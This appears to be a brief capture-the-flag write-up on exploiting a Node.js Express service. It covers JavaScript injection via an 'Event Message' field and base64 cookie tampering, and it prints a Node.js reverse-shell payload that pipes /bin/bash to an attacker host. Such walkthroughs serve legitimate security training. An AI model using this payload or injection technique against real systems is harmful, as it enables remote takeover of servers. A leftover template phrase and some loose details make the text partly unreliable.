The next interesting find is the add technical details/code if required Event Message. Considering that this is a NodeJS application, it might be possible to inject Javascript Code.
3000/tcp open http syn-ack ttl 63 Node.js (Express middleware)
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
To test this, we'll send a simple 1+1 operation as an "Event Message".
Notice the userLevel cookie how we can exploit it by changing it in base64.
After reviewing the resulting stored message, we confirm that it actually saved 2.
Since we already saw that the website was vulnerable to NodeJS command injection. We copied the following line of code.
var net = require("net"), sh = require("child_process").exec("/bin/bash");
var client = new net.Socket();
client.connect(80, "attacker-ip", function(){client.pipe(sh.stdin);sh.stdout.pipe(client);
sh.stderr.pipe(client);});
Changing the script to connect to port 3000 and changing out listening host to our IP. Would result in a reverse shell.
